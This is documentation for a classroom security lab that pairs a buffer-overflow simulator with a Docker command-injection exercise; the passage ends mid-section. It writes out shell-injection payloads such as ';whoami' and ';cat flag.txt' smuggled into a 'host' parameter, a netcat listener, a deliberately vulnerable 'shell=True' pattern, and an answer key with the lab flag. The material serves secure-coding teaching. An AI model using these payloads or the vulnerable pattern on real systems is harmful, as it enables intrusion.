

Buffer Security Training Workspace

This is the source for the single organized PDF documentation file for the whole project.

The workspace contains two local, classroom-friendly security labs:

- `buffer_lab`: a safe Python simulator for stack-frame and buffer-overflow

concepts.

- `college-pentest-lab`: a Docker command-injection lab with a vulnerable

Flask service, a remediated Flask service, and a tools container for students.

The code is intended for local learning, secure-coding practice, and authorized classroom use. Do not use any technique in this repository against systems you do not own or do not have written permission to test.

Table Of Contents

1. Project purpose
2. Safety scope
3. Repository map
4. Quick start
5. Python buffer lab
6. Browser and C examples
7. Tests and validation
8. Docker command-injection lab
9. Student exercise flow
10. Instructor notes
11. Pentest report template
12. Buffer-overflow background
13. Mitigations and secure-coding guidance
14. Maintenance notes
15. References

1. Project Purpose

This project teaches two secure-coding topics in a controlled local

environment:

- How oversized writes can corrupt nearby stack data.
- How command injection happens when applications pass unsanitized user input

to a shell.

The project focuses on observation and defense. It shows how vulnerable patterns fail, how mitigations change outcomes, and how students can write a basic security report. It does not build tooling for attacking external systems.

2. Safety Scope

The Python simulator:

- Models stack-frame data as Python bytes.
- Shows when metadata changes.
- Demonstrates canary behavior and bounded-copy behavior.
- Never executes copied bytes.
- Never sends payloads to a network target.

The Docker lab:

- Runs on a private Docker network.
- Provides one deliberately vulnerable route for an approved lab exercise.
- Provides matching remediated routes for comparison.
- Includes a connect-back demonstration that sends a static educational

message only.

- Does not provide an interactive operating system shell.

Out of scope for this implementation:

- Real debugger integration.
- Network fuzzing against live services.
- Reverse-shell delivery.
- Shellcode execution.
- ROP-chain exploit delivery.
- Listener automation for real post-exploitation.

The older buffer-overflow background material included offensive concepts for teaching context. This consolidated documentation records those concepts at a

defensive and educational level, while the runnable project stays inside the safe local scope above.

3. Repository Map

Current source layout:

```
buffer/
|-- PROJECT_DOCUMENTATION.pdf
|-- buffer_lab/
|   |-- __init__.py
|   |-- __main__.py
|   |-- pattern.py
|   |-- stack_simulator.py
|   `-- visualizer.py
|-- college-pentest-lab/
|   |-- docker-compose.yml
|   |-- attacker/
|   |   `-- Dockerfile
|   `-- victim/
|       |-- Dockerfile
|       |-- app.py
|       |-- app_safe.py
|       |-- flag.txt
|       `-- requirements.txt
|-- examples/
|   |-- interactive_lab.html
|   `-- vulnerable_demo.c
|-- tests/
|   `-- test_buffer_lab.py
`-- tools/
    |-- build_docs_pdf.py
    `-- validate_lab.py
```

Generated folders such as `__pycache__` and `.pytest_cache` are not source files.

4. Quick Start

Run the Python simulator from the project root:

```
python -m buffer_lab demo-overflow --payload-size 80
python -m buffer_lab demo-overflow --payload-size 80 --canary
python -m buffer_lab show-layout --payload-size 80 --marker TEST
python -m buffer_lab safe-copy --payload-size 80
python -m buffer_lab pattern --length 96
python -m buffer_lab find-offset --needle 0x61616164 --length 128
```

Run validation:

```
python -m unittest discover -s tests
python tools\validate_lab.py
```

Open the browser visualizer directly:

```
examples/interactive_lab.html
```

Run the Docker lab:

```
cd college-pentest-lab
docker compose up --build
```

Open these URLs from the host:

```
http://localhost:8080
http://localhost:8081
```

Enter the attacker tools container:

```
docker exec -it attacker bash
```

Stop and clean up the Docker lab:

```
docker compose down --volumes --remove-orphans
```

5. Python Buffer Lab

`buffer_lab` is the Python package that implements the safe stack-frame simulator. It exposes both a CLI and importable Python helpers.

5.1 Responsibilities

The package is responsible for:

- Generating deterministic cyclic patterns for offset-finding exercises.
- Looking up offsets from byte, text, integer, or hex-style needles.
- Simulating unsafe writes into a fixed-size stack buffer.
- Simulating bounded copies that reject oversized input.
- Modeling optional stack-canary behavior.
- Rendering before/after stack layout differences.

5.2 Package Files

```
buffer_lab/  
|-- __init__.py      Public package exports  
|-- __main__.py     Command-line interface  
|-- pattern.py      Cyclic pattern and offset lookup helpers  
|-- stack_simulator.py StackFrame model and copy results  
`-- visualizer.py   Layout diff and text rendering helpers
```

5.3 Memory Model

`StackFrame` stores simulated memory in this order:

```
buffer -> optional canary -> saved frame pointer -> return address
```

Default field sizes:

- Buffer: 64 bytes by default.
- Canary: 4 bytes when enabled.
- Saved frame pointer: 4 bytes.
- Return address: 4 bytes.

The simulator uses bytes and bytearray's only. It never executes attacker controlled bytes.

5.4 `stack_simulator.py`

Important objects:

- `StackFrame`: owns the simulated memory frame.
- `CopyResult`: records the outcome of a copy operation.
- `UnsafeCopyError`: raised when bounded copying rejects oversized input.

`StackFrame` constructor options:

- `buffer_size`: positive integer size of the local buffer.
- `canary_enabled`: whether a canary field is placed after the buffer.
- `canary`: 4-byte initial canary value, default `b"CNR!"`.
- `saved_frame_pointer`: 4-byte initial saved frame pointer, default `b"EBP!"`.
- `return_address`: 4-byte initial return address, default `b"RET0"`.

Important properties:

- `saved_frame_pointer_offset`: byte offset of the saved frame pointer.
- `return_address_offset`: byte offset of the return address.
- `canary`: current canary bytes, or `None` when canaries are disabled.
- `saved_frame_pointer`: current saved frame pointer bytes.
- `return_address`: current return address bytes.

Important methods:

- `reset()`: restores the frame to its initial state.
- `unsafe_copy(payload, control_marker=b"BBBB")`: writes bytes into the frame

in the style of an unsafe C string copy and reports whether stack metadata changed.

- `bounded_copy(payload)`: rejects payloads larger than the buffer and raises

`UnsafeCopyError`.

- `layout()`: returns named memory regions for rendering or comparison.

`CopyResult` fields:

- `payload_size`
- `buffer_size`
- `canary_enabled`
- `canary_ok`
- `saved_frame_pointer`
- `return_address`
- `overflowed`
- `control_marker_seen`
- `aborted`

`CopyResult.summary` returns one of these high-level messages:

- `ABORTED: stack canary detected corruption`

- `OVERWRITE`: return address replaced with marker
- `OVERFLOW`: adjacent stack metadata changed
- `OK`: payload stayed inside the buffer

5.5 `pattern.py`

The pattern module uses a de Bruijn sequence so every configured 4-byte window is unique until the sequence repeats.

Public helpers:

- `cyclic(length, alphabet=DEFAULT_ALPHABET, window=DEFAULT_WINDOW)`: returns a

deterministic cyclic byte pattern.

- `find_offset(needle, length=8192, alphabet=DEFAULT_ALPHABET,`

`window=DEFAULT_WINDOW)`: finds the byte sequence inside a generated cyclic pattern.

- `printable_chunks(data, width=32)`: yields fixed-width printable chunks for

CLI display.

Needle handling:

- `bytes` needles are searched directly.
- `int` needles must fit in 32 bits and are treated as little-endian.
- Hex strings such as `0x61616164` are converted to little-endian bytes.
- Other strings are encoded as Latin-1.

Little-endian interpretation matches how overwritten 32-bit register values are commonly shown in educational debugger exercises.

5.6 `visualizer.py`

The visualizer module turns before/after stack snapshots into structured and readable output.

Public helpers:

- `diff_layout(before, after, result)`: returns `LayoutDiffRow` items.
- `render_layout_diff(before, after, result, preview_width=12)`: returns a

text table of the stack-frame differences.

Possible status labels:

- same
- written
- corrupted
- overwritten
- marker
- changed

Byte previews are shown as:

```
hex bytes |ascii|
```

Non-printable characters are shown as dots.

5.7 CLI Commands

Run commands from the project root with:

```
python -m buffer_lab <command>
```

Generate a cyclic pattern:

```
python -m buffer_lab pattern --length 96
```

Find an offset:

```
python -m buffer_lab find-offset --needle 0x61616164 --length 128
```

Simulate an unsafe copy:

```
python -m buffer_lab demo-overflow --payload-size 80
```

Simulate an unsafe copy with canary protection:

```
python -m buffer_lab demo-overflow --payload-size 80 --canary
```

Render the stack layout before and after copying:

```
python -m buffer_lab show-layout --payload-size 80 --marker TEST
```

Simulate a bounded copy:


```
python -m buffer_lab safe-copy --payload-size 80
```

Useful options:

- `--payload-size`: number of bytes to place in the generated payload.
- `--buffer-size`: buffer size for the simulated stack frame.
- `--canary`: enable canary simulation.
- `--marker`: 4-byte marker to place at the simulated return address.
- `--length`: pattern length for pattern generation or offset search.
- `--needle`: value to locate in a cyclic pattern.

Exit codes:

- `0`: command completed normally.
- `1`: lookup failed or bounded copy rejected input.
- `2`: simulated canary detected corruption and aborted.

5.8 Python API Example

```
from buffer_lab import StackFrame, cyclic, find_offset, render_layout_diff

pattern = cyclic(128)
offset = find_offset(pattern[40:44], length=128)

frame = StackFrame(buffer_size=64, canary_enabled=True)
before = frame.layout()
result = frame.unsafe_copy(b"A" * 80)

print(offset)
print(render_layout_diff(before, frame.layout(), result))
```

6. Browser And C Examples

The `examples` folder contains supporting local examples.

```
examples/
|-- interactive_lab.html
`-- vulnerable_demo.c
```

6.1 `interactive_lab.html`

This is a standalone browser simulator. It does not need a server and does not contact a network target.

The UI models:

- Fixed-size buffer writes.
- Optional stack canary placement.
- Saved frame pointer and return address fields.
- Unsafe versus bounded copy mode.
- Return-marker overwrite behavior.
- Byte-level before/after changes.

Open it directly from the filesystem:

```
examples/interactive_lab.html
```

6.2 `vulnerable_demo.c`

This is a tiny C reference source for discussion. It demonstrates a classic unsafe-copy pattern:

```
char buffer[64];  
strcpy(buffer, input);
```

The supported runnable implementation in this workspace is the Python simulator. If the C file is compiled in a separate approved environment, keep the activity local and use it only for defensive education.

7. Tests And Validation

The test suite uses Python `unittest`.

Run all unit tests:

```
python -m unittest discover -s tests
```

Run the smoke validator:

```
python tools\validate_lab.py
```

Current test coverage:

- Cyclic pattern offset lookup with byte needles.
- Cyclic pattern offset lookup with little-endian hex values.
- Return-address marker replacement in the simulator.
- Canary abort behavior.
- Bounded-copy rejection.
- Layout rendering for overwritten return addresses.

`tools/validate_lab.py` checks the most important user-facing behavior:

- A generated cyclic pattern can locate a known 4-byte window.
- A payload can replace the simulated return address with `BBBB`.
- A canary-protected frame aborts when the canary is corrupted.
- `bounded_copy()` rejects oversized input.

Add or update tests when changing:

- `StackFrame` layout rules.
- CLI payload-building behavior.
- Cyclic pattern logic.
- Layout diff status labels.
- Error behavior for rejected copies or missing offsets.

8. Docker Command-Injection Lab

The Docker lab is located in `college-pentest-lab`.

It is a small, Docker-only command-injection lab for authorized classroom practice. The lab uses three services on one internal Docker network:

```
attacker    -> tools container used by the student
victim      -> Flask web app with the intentionally vulnerable endpoint
safe-victim -> Flask web app with the remediated implementation
labnet      -> Docker bridge network used for container-to-container traffic
```

`labnet` is a Docker network, not a third application container.

8.1 Learning Objectives

Students practice:

1. Recon inside a controlled network.
2. Finding and testing a vulnerable web endpoint.

3. Understanding command injection.
4. Understanding the connect-back direction used by reverse-shell style

network flows through a safe simulation.

1. Reading limited post-exploitation evidence inside the victim container.
2. Comparing a vulnerable service with a safer implementation.
3. Writing a short pentest report.

8.2 Architecture

```
host browser -> localhost:8080 -> victim container
host browser -> localhost:8081 -> safe-victim container
attacker container -> labnet -> victim container
attacker container -> labnet -> safe-victim container
```

8.3 Docker Files

```
college-pentest-lab/
|-- docker-compose.yml
|-- attacker/
|   `-- Dockerfile
`-- victim/
    |-- Dockerfile
    |-- app.py
    |-- app_safe.py
    |-- flag.txt
    `-- requirements.txt
```

8.4 Attacker Container

The attacker container is a Debian tools environment used inside the private Docker lab network.

Installed tools:

- bash
- curl
- dnsutils
- iputils-ping
- netcat-openbsd
- nmap

Enter the attacker container:

```
docker exec -it attacker bash
```

Inside the container, Docker service names resolve through the lab network:

```
ping -c 1 victim
ping -c 1 safe-victim
curl http://victim:8080/
curl http://safe-victim:8080/
```

Only use this container against services created by the lab.

8.5 Victim Service

`victim/app.py` exposes:

- `/`: lab overview page.
- `/health`: health check for Docker Compose.
- `/ping?host=`: intentionally vulnerable command-injection endpoint.
- `/safe-ping?host=`: remediated endpoint for comparison.
- `/callback-demo?host=&port=`: static connect-back simulation.

The vulnerable route exists only for the approved lab. It builds a command string using user input and executes it with `shell=True`.

The safer route validates the host and calls `subprocess` with an argument list instead of passing user input to a shell.

8.6 Safe Victim Service

`victim/app_safe.py` exposes:

- `/`: safe service overview page.
- `/health`: health check.
- `/ping?host=`: remediated ping endpoint.
- `/safe-ping?host=`: alias for the remediated ping endpoint.

It accepts only valid IP addresses or DNS hostnames and never sends user input to a shell.

8.7 Victim Container Behavior

The victim Dockerfile:

- Starts from `python:3.11-slim`.
- Installs `iputils-ping`.
- Creates and runs as non-root user `labuser`.
- Copies both Flask apps and the training flag into `/app`.
- Starts `app.py` by default.

Docker Compose runs a second container with:

```
python app_safe.py
```

for the safe service.

The victim and safe-victim services use:

- A non-root `labuser` account.
- `no-new-privileges:true`.
- Read-only root filesystem.
- `/tmp` mounted as `tmpfs`.
- A Flask dependency pinned in `requirements.txt`.

8.8 Run And Cleanup

From `college-pentest-lab/`:

```
docker compose up --build
```

Open the vulnerable app from the host:

```
http://localhost:8080
```

Open the safe version from the host:

```
http://localhost:8081
```

Enter the attacker container:

```
docker exec -it attacker bash
```

Clean up:

```
docker compose down --volumes --remove-orphans
```

9. Student Exercise Flow

9.1 Rules Of Engagement

Only test the containers created by this lab. Do not run these techniques against systems you do not own or do not have written permission to test.

9.2 Scenario

You are given access to an attacker container on an internal Docker network. A vulnerable web application named `victim` and a remediated web application named `safe-victim` are reachable from the same network.

Your job is to discover the vulnerable endpoint, prove command injection, collect the training flag, and explain the mitigation.

9.3 Step 1: Start From The Attacker

```
docker exec -it attacker bash
```

9.4 Step 2: Recon

```
ping -c 1 victim
ping -c 1 safe-victim
dig victim
nmap -p 8080 victim
curl http://victim:8080/
curl http://safe-victim:8080/
```

Record:

- Target hostname.
- Open port.
- Web endpoint hints.

9.5 Step 3: Confirm Expected Behavior

```
curl "http://victim:8080/ping?host=127.0.0.1"
```

The application should run `ping` against the `host` parameter.

9.6 Step 4: Prove Command Injection

Inside the approved Docker lab only:

```
curl "http://victim:8080/ping?host=127.0.0.1;whoami"  
curl "http://victim:8080/ping?host=127.0.0.1;pwd"  
curl "http://victim:8080/ping?host=127.0.0.1;ls"  
curl "http://victim:8080/ping?host=127.0.0.1;cat%20flag.txt"
```

Collect:

- Current user.
- Application working directory.
- File listing.
- Flag value.

9.7 Step 5: Understand Connect-Back Direction

Open a listener in the attacker container:

```
nc -lvp 4444
```

In another terminal:

```
docker exec -it attacker bash  
curl "http://victim:8080/callback-demo?host=attacker&port=4444"
```

This demonstrates the network direction:

```
victim -> attacker listener
```

The lab intentionally sends only a static message. It does not provide a real shell.

9.8 Step 6: Compare With The Fixed Endpoint

```
curl "http://victim:8080/safe-ping?host=127.0.0.1;whoami"  
curl "http://victim:8080/safe-ping?host=127.0.0.1"
```

The fixed endpoint rejects shell metacharacters and calls `subprocess` with an argument list instead of building a shell command string.

Compare the separate safe server:

```
curl "http://safe-victim:8080/ping?host=127.0.0.1;whoami"  
curl "http://safe-victim:8080/ping?host=127.0.0.1"
```

9.9 Student Deliverables

Submit a short report that includes:

1. Vulnerability name.
2. Affected endpoint.
3. Impact.
4. Proof of concept.
5. Root cause.
6. Recommended fix.
7. Severity.

10. Instructor Notes

10.1 Intended Use

This lab is designed for an introductory web security or secure coding session.

It demonstrates command injection and mitigation without giving students a real reverse shell.

10.2 Key Teaching Points

- Docker service names are resolvable inside the Compose network.
- `shell=True` allows shell metacharacters such as `;` to change command

behavior.

- Input validation helps, but avoiding shell invocation is the primary fix.
- The safe server keeps the same user-facing feature but removes the dangerous

command construction pattern.

- A connect-back is a network pattern, not inherently a shell.
- The included connect-back demo sends a static message only.

10.3 Expected Answers

Current user:

```
labuser
```

Application directory:

```
/app
```

Flag:

```
FLAG{command_injection_leads_to_remote_access}
```

10.4 Suggested Grading Rubric

Area	Points
Recon evidence	20
Valid command injection PoC	25
Flag and post-exploitation observations	20
Root-cause explanation	20
Mitigation explanation	15

10.5 Reset Between Classes

```
docker compose down --volumes --remove-orphans
docker compose up --build
```

11. Pentest Report Template

Vulnerability

Command Injection

Affected Endpoint

```
/ping?host=
```

Impact

An attacker can execute operating system commands inside the victim container.

Proof Of Concept

Approved Docker lab input:

```
127.0.0.1;whoami
```

Evidence:

Paste the command output here.

Root Cause

The application builds a command string with unsanitized user input and executes it with `shell=True`.

Vulnerable pattern:

```
cmd = f"ping -c 1 {host}"  
subprocess.check_output(cmd, shell=True)
```

Fix

Use `subprocess` with an argument list, avoid `shell=True`, and validate the `host` input.

Safer pattern:

```
subprocess.check_output(["ping", "-c", "1", host])
```

Severity

High

Notes

This finding should be validated only inside the approved Docker lab environment.

12. Buffer-Overflow Background

This section consolidates the background material from the original detailed buffer-overflow notes.

12.1 What Is A Buffer Overflow?

A buffer overflow happens when a program writes more data into a buffer than the buffer was allocated to hold.

Example unsafe C pattern:

```
char buffer[64];
strcpy(buffer, input);
```

If `input` is larger than 64 bytes, data can be written beyond the end of `buffer`.

This is dangerous because adjacent memory may contain important values such as:

- Other local variables.
- Saved frame pointers.
- Return addresses.
- Function pointers.
- Heap allocator metadata.

Changing those values can crash the program, corrupt data, alter control flow, or create a path to code execution under very specific vulnerable conditions.

12.2 Simplified Stack Layout

Typical simplified stack frame:

```
Higher addresses
+-----+
| Function arguments      |
+-----+
| Return address          |
+-----+
| Saved frame pointer     |
+-----+
| Local variables         |
| buffer[64]              |
+-----+
Lower addresses
```

After an oversized write, nearby metadata may be overwritten:



The Python lab models this idea safely with:

```
buffer -> optional canary -> saved frame pointer -> return address
```

12.3 Common Dangerous C APIs

Risky API	Safer direction	Main issue
<code>strcpy()</code>	Explicit bounds checks or safer wrappers	Does not know destination size
<code>gets()</code>	Avoid entirely; use bounded input APIs	Obsolete and unsafe
<code>sprintf()</code>	<code>snprintf()</code> with correct size handling	Can write beyond destination
<code>strcat()</code>	Explicit length checks or safer wrappers	Can overflow destination
<code>scanf("%s")</code>	Width-limited format such as <code>scanf("%63s")</code>	No default maximum width

Important validation note: `strncpy()` and `strncat()` are not automatic safe drop-in replacements. They can produce unterminated strings or awkward truncation behavior. Prefer explicit bounds checks, `snprintf()`, safer wrappers, or memory-safe languages where possible.

12.4 Types Of Buffer-Related Vulnerabilities

Stack-based buffer overflow:

- Occurs in stack memory.
- Can corrupt local variables, saved frame pointers, or return addresses.
- This project models the concept locally without executing overwritten bytes.

Heap-based buffer overflow:

- Occurs in dynamically allocated heap memory.
- Can corrupt adjacent heap objects or allocator metadata.

- Exploitation depends heavily on allocator, platform, and mitigations.

Integer overflow leading to buffer overflow:

- A length calculation wraps around or truncates.
- The program allocates less space than intended.
- A later copy writes the original larger amount.

Off-by-one:

- A loop writes one byte past the intended boundary.
- Even one byte can matter when it touches length fields, terminators, or saved

metadata.

Format-string vulnerability:

- Caused by passing user-controlled text as a format string.
- Example risky pattern: `printf(user_input);`
- Safer pattern: `printf("%s", user_input);`
- This is not the same bug class as a buffer overflow, but it is often taught

nearby because it can expose memory or affect writes in unsafe C programs.

12.5 Educational Attack Workflow At A High Level

Traditional buffer-overflow lessons often describe this sequence:

1. Send increasing input sizes to find where a program crashes.
2. Send a unique cyclic pattern.
3. Inspect the overwritten value in a debugger.
4. Compute the offset to important metadata.
5. Replace the important metadata with a recognizable marker.
6. Study mitigations such as canaries, NX, ASLR, PIE, and RELRO.

This repository implements the safe parts of that workflow locally:

- Generate a cyclic pattern with `python -m buffer_lab pattern`.
- Find an offset with `python -m buffer_lab find-offset`.
- Place a marker at the simulated return address with

```
python -m buffer_lab show-layout --marker TEST
```

- Compare canary behavior with `--canary`.
- Compare unsafe and bounded copy behavior with `demo-overflow` and

```
safe-copy
```

It does not include live-target fuzzing, payload delivery, shellcode, reverse shells, or ROP-chain delivery.

12.6 Shellcode Concept

Shellcode is small machine code used in some exploit-development contexts after control-flow hijacking. It is often named for payloads that start a shell, but the broader term can refer to compact payload code.

Common categories discussed in security education:

- Bind shell: target listens for an incoming connection.
- Reverse shell: target connects back to an operator-controlled listener.
- Staged payload: a small first stage retrieves more code.
- Stageless payload: the complete payload is delivered at once.

This workspace does not generate shellcode, execute shellcode, or provide a real shell. The Docker lab's callback route is a static message demo only.

12.7 Bad Characters Concept

Exploit-development lessons often discuss bytes that break string processing or protocol parsing. Examples include:

- `0x00`: null byte, terminates many C strings.
- `0x0a`: newline.
- `0x0d`: carriage return.
- `0x20`: space, depending on parser behavior.

In this workspace, this concept is useful mainly for understanding why unsafe C string APIs are fragile. The runnable labs do not require building payloads around bad characters.

12.8 ROP Concept

Return-Oriented Programming, or ROP, is a technique that chains short existing instruction sequences, often called gadgets, instead of injecting new code into non-executable memory.

ROP is commonly discussed as a way attackers attempt to bypass DEP or NX. It is highly dependent on:

- Binary architecture.
- Compiler output.

- Loaded libraries.
- Memory layout.
- Enabled mitigations.
- Exact target version.

ROP-chain exploit delivery is outside this project's implemented scope.

12.9 Platform Impact

Web applications:

- Memory corruption usually appears in native components, web servers, modules,

or libraries written in C or C++.

- Managed application code in Python, Java, Go, and similar languages usually

prevents classic raw buffer overflows, though native extensions can still be risky.

- Keep libraries updated, validate input, use sandboxing where possible, and

prefer memory-safe components.

Mobile applications:

- Java/Kotlin and Swift reduce classic memory-safety risk.
- Native C/C++ code through JNI, NDK, Objective-C, or platform libraries can

still introduce memory bugs.

- Mobile platforms usually enable ASLR, DEP/NX, sandboxing, and signing by

default.

Desktop applications:

- C/C++ applications and parsers for files such as PDF, media, and images have

historically been affected by memory-corruption bugs.

- Modern systems use DEP/NX, ASLR, stack canaries, sandboxing, and automatic

updates to reduce risk.

IoT and embedded systems:

- Firmware is often written in C or C++.
- Devices may lack consistent updates or modern mitigations.

- Network segmentation, firmware updates, safer defaults, and compiler

protections are especially important.

12.10 Key Takeaways From The Background Notes

- Buffer overflow is not only academic; memory safety still matters.
- Modern mitigations make exploitation harder but do not replace safe coding.
- ROP is a common concept in advanced exploit-development education, but it is

outside this repository's runnable scope.

- IoT and embedded systems can be riskier when updates and mitigations are

weak.

- Memory-safe languages such as Rust, Go, Java, and Python can reduce entire

classes of memory-corruption bugs.

- Defense in depth matters: validate input, use safe APIs, enable compiler

protections, sandbox risky components, and keep dependencies updated.

13. Mitigations And Secure-Coding Guidance

13.1 Stack Canaries

A stack canary is a compiler-inserted value placed between local buffers and control-flow metadata. Before a function returns, the program checks whether the canary changed. If it changed, the program aborts instead of returning through corrupted metadata.

The Python simulator models this with:

```
python -m buffer_lab demo-overflow --payload-size 80 --canary
python -m buffer_lab show-layout --payload-size 80 --canary
```

13.2 DEP / NX

Data Execution Prevention, also called NX on many systems, marks writable data regions such as the stack as non-executable. This blocks direct execution of injected bytes from those regions.

13.3 ASLR

Address Space Layout Randomization changes memory addresses between runs. It makes hard-coded addresses unreliable.

Typical Linux setting levels:

```
0 = off
1 = stack and libraries randomized
2 = stack, libraries, and heap randomized
```

13.4 PIE

Position Independent Executable support allows the main program binary itself to load at randomized addresses. Without PIE, a binary may load at predictable locations even when some other regions are randomized.

13.5 RELRO

Relocation Read-Only protects relocation structures such as the Global Offset Table after dynamic linking. Full RELRO resolves symbols eagerly and makes those structures read-only earlier.

13.6 Safer Command Execution

Avoid passing user input to a shell.

Risky pattern:

```
cmd = f"ping -c 1 {host}"
subprocess.check_output(cmd, shell=True)
```

Safer pattern:

```
subprocess.check_output(["ping", "-c", "1", host])
```

Also validate the input type. In this project, host validation accepts:

- IP addresses through Python's `ipaddress.ip_address()`.
- DNS hostnames that match a bounded hostname regular expression.

13.7 Practical Defensive Checklist

- Prefer memory-safe languages for new code where possible.

- Avoid obsolete APIs such as `gets()`.
- Avoid unbounded copy and formatting functions.
- Validate lengths before copying.
- Treat truncation as a design choice, not an accidental side effect.
- Compile native code with stack canaries, NX, PIE, and RELRO where available.
- Keep ASLR enabled.
- Avoid `shell=True` with user-controlled data.
- Use subprocess argument lists.
- Run services as non-root users.
- Use read-only filesystems and least-privilege container options when possible.
- Keep dependencies updated.
- Test both vulnerable examples and remediated paths in classroom material.

14. Maintenance Notes

When changing simulator behavior:

- Update the consolidated project documentation before regenerating the PDF.
- Add or update tests in `tests/test_buffer_lab.py`.
- Run `python -m unittest discover -s tests`.
- Run `python tools\validate_lab.py`.

When changing the Docker lab:

- Update the consolidated project documentation before regenerating the PDF.
- Recheck the student exercise flow.
- Recheck instructor expected answers.
- Rebuild the Compose stack before teaching.
- Verify both vulnerable and safe routes still demonstrate the intended lesson.

When changing documentation:

- Keep the generated PDF as the single documentation artifact.
- Do not reintroduce duplicate README, Markdown, or extra PDF documentation

files unless the project documentation strategy changes.

15. References

The original background notes pointed to these additional learning resources:

- OWASP Buffer Overflow:

https://owasp.org/www-community/vulnerabilities/Buffer_Overflow

- Phrack, "Smashing The Stack For Fun And Profit":

<http://phrack.org/issues/49/14.html>

- ROP Emporium:

<https://ropemporium.com/>

- pwntools documentation:

<https://docs.pwntools.com/>

- LiveOverflow:

<https://www.youtube.com/c/LiveOverflow>

- Exploit Education Phoenix:

<https://exploit.education/phoenix/>

16. Debugging The College Pentest Lab

This chapter documents the debugging support that was added to the Docker lab. The normal lab startup does not require an IDE debugger. Debugging is optional and is enabled only when the debug Compose overlay is used.

16.1 Purpose

The debugging setup lets an instructor or student attach VS Code, or another `debugpy`-compatible Python debugger, to the running Flask containers. It is useful for stepping through the vulnerable and remediated implementations while sending the same lab requests used in the exercise.

Use debugging when you want to inspect:

- How `/ping?host=` reads the query parameter.
- Where the vulnerable app builds a shell command string.
- How `/safe-ping?host=` validates input.
- How the safe server passes arguments to `subprocess` without `shell=True`.
- How the callback demo validates the callback host and port.

16.2 Debugging Files

The debugging workflow is implemented by these files:

```
college-pentest-lab/
|-- docker-compose.debug.yml    Debug overlay that enables debugpy ports
|-- .vscode/launch.json        VS Code attach configurations
`-- victim/
    |-- debug_tools.py          Shared debugpy startup helper
    |-- app.py                  Vulnerable service, calls enable_debugger("victim")
    |-- app_safe.py             Safe service, calls enable_debugger("safe-victim")
    |-- Dockerfile              Starts Python with -Xfrozen_modules=off
    `-- requirements.txt         Includes debugpy>=1.8,<2
```

16.3 Normal Mode Versus Debug Mode

Normal mode starts the lab without opening debugger ports:

```
docker compose up --build -d
```

Debug mode layers `docker-compose.debug.yml` on top of the normal Compose file:

```
docker compose -f docker-compose.yml -f docker-compose.debug.yml up --build -d
```

In debug mode, the Flask apps still start normally by default. The debugger can attach after startup.

16.4 Debug Ports

Debug ports are bound to localhost on the host machine. They are not exposed on all interfaces.

Service	Host endpoint	Container endpoint
victim	127.0.0.1:5678	0.0.0.0:5678
safe-victim	127.0.0.1:5679	0.0.0.0:5679

The localhost binding is important. A Python debugger can execute code inside the container, so debugger ports must not be exposed publicly.

16.5 Environment Variables

`docker-compose.debug.yml` enables the debugger through environment variables.

Variable	Purpose	Debug value
LAB_DEBUGPY	Enables the debug helper when set to a truthy value	1
DEBUGPY_HOST	Interface used inside the container	0.0.0.0
DEBUGPY_PORT	Debugpy listen port inside the container	5678 or 5679
DEBUGPY_WAIT_FOR_CLIENT	Pauses app startup until a debugger attaches when set to 1	0 by default

Truth-like enabled values in `debug_tools.py` are:

```
1, true, yes, on
```

16.6 How `debug_tools.py` Works

`victim/debug_tools.py` provides two helpers:

- `env_flag(name, default="0")`: reads a boolean-style environment variable.
- `enable_debugger(service_name)`: starts `debugpy.listen()` only when `LAB_DEBUGPY` is enabled.

If `debugpy` is missing, the helper prints a message and allows the app to continue. If

`DEBUGPY_WAIT_FOR_CLIENT` is enabled, it calls `debugpy.wait_for_client()` so the app pauses until the debugger attaches.

Both Flask apps call the helper before `app.run()`:

```
enable_debugger("victim")
enable_debugger("safe-victim")
```

16.7 Attach From VS Code

Open the `college-pentest-lab` folder in VS Code.

Use one of the included launch configurations from `.vscode/launch.json`:

- `Attach: victim container`
- `Attach: safe-victim container`

The path mapping is:

Local path	Remote path
<code>\${workspaceFolder}/victim</code>	<code>/app</code>

This mapping lets breakpoints set in local files match the code running inside the containers.

16.8 Suggested Breakpoints

For the vulnerable server, set breakpoints in:

```
college-pentest-lab/victim/app.py
```

Useful places to inspect:

- The beginning of the `/ping` route.
- The line that reads `host = request.args.get("host", "")`.
- The line that builds `cmd = f"ping -c 1 {host}"`.
- The `subprocess.check_output(..., shell=True, ...)` call.
- The `/safe-ping` route for comparison.
- The `/callback-demo` route if you are teaching connect-back direction.

For the safe server, set breakpoints in:

```
college-pentest-lab/victim/app_safe.py
```

Useful places to inspect:

- `is_valid_host()`.
- The `/ping` route.
- The `subprocess.check_output(["ping", "-c", "1", host], ...)` call.

16.9 Trigger Requests While Attached

From the host, trigger the vulnerable server:

```
curl "http://localhost:8080/ping?host=127.0.0.1"
curl "http://localhost:8080/ping?host=127.0.0.1;whoami"
```

Trigger the safe server:

```
curl "http://localhost:8081/ping?host=127.0.0.1;whoami"
curl "http://localhost:8081/ping?host=127.0.0.1"
```

From inside the attacker container, use service names instead:

```
curl "http://victim:8080/ping?host=127.0.0.1;whoami"
curl "http://safe-victim:8080/ping?host=127.0.0.1"
```

16.10 Wait For Debugger Mode

By default, containers start immediately and allow a debugger to attach later.

To pause app startup until the debugger attaches, set this in `docker-compose.debug.yml` for the service you want to pause:

```
DEBUGPY_WAIT_FOR_CLIENT: "1"
```

Then restart the debug stack:

```
docker compose -f docker-compose.yml -f docker-compose.debug.yml down
docker compose -f docker-compose.yml -f docker-compose.debug.yml up --build -d
```

Use wait mode when you need to debug code that runs during startup.

16.11 Troubleshooting

If the debugger does not attach:

- Confirm debug mode was started with both Compose files.
- Confirm the target container is running with `docker ps`.
- Confirm the port mapping is present for `127.0.0.1:5678` or `127.0.0.1:5679`.
- Confirm VS Code opened the `college-pentest-lab` folder, not the repository root.
- Confirm the selected launch configuration matches the service.

If breakpoints are not hit:

- Check the path mapping in `.vscode/launch.json`.
- Use `${workspaceFolder}/victim` as the local root when VS Code is opened at `college-pentest-lab`.
- Trigger a request that reaches the route where the breakpoint is set.
- Rebuild the containers if local code changed.

If Flask starts but debugpy logs are missing:

- Confirm `LAB_DEBUGPY=1` is present in the debug overlay.
- Confirm `debugpy>=1.8,<2` is installed from `victim/requirements.txt`.
- Rebuild the image after changing requirements.

If a debug port is already in use:

- Stop the old lab stack.
- Change the host port in `docker-compose.debug.yml`.
- Update `.vscode/launch.json` to match the new host port.

If you see Python frozen-module breakpoint warnings:

- The Dockerfile already starts the apps with `-Xfrozen_modules=off` to reduce those warnings.
- Rebuild the image if the Dockerfile was changed after the container was created.

16.12 Debugging Safety

Debugger ports are powerful. Treat them like administrative access.

Safe rules:

